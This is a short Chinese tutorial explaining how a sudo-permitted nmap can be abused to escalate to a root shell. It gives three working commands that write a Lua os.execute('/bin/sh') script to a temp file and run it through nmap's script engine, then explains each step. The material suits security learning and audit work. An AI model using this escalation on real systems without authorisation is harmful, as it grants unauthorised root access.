当前用户对nmap具有root权限时,可以使用以下指令进行提权:
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
-
TF=$(mktemp)
:mktemp
是一个用于创建临时文件的命令。它会在系统的临时文件目录中创建一个唯一命名的空文件,并输出该文件的路径。TF=$(...)
是命令替换的语法,用于将mktemp
命令的输出(即新创建的临时文件的路径)赋值给变量TF
。之后,$TF
可用于引用这个临时文件的路径。
-
echo 'os.execute("/bin/sh")' > $TF
:- 这个命令使用
echo
将字符串os.execute("/bin/sh")
输出到TF
变量指向的文件中。在这里,os.execute("/bin/sh")
是一段 Lua 代码,用于执行/bin/sh
命令,即启动一个新的 shell。 >
是重定向操作符,它将echo
命令的输出重定向到指定的文件(在这个例子中是由mktemp
创建的临时文件)。
- 这个命令使用
-
sudo nmap --script=$TF
:- 这个命令以超级用户权限(
sudo
)执行nmap
,并使用--script
参数来指定要运行的脚本文件,该文件由之前的步骤创建并写入 Lua 代码。 nmap
是一个功能强大的网络扫描工具,通常用于网络安全审计和发现。它的脚本引擎(Nmap Scripting Engine,NSE)允许用户运行自定义脚本来扩展 nmap 的功能。- 在这个例子中,
nmap
将运行包含 Lua 代码os.execute("/bin/sh")
的脚本,这将尝试启动一个新的 shell。
- 这个命令以超级用户权限(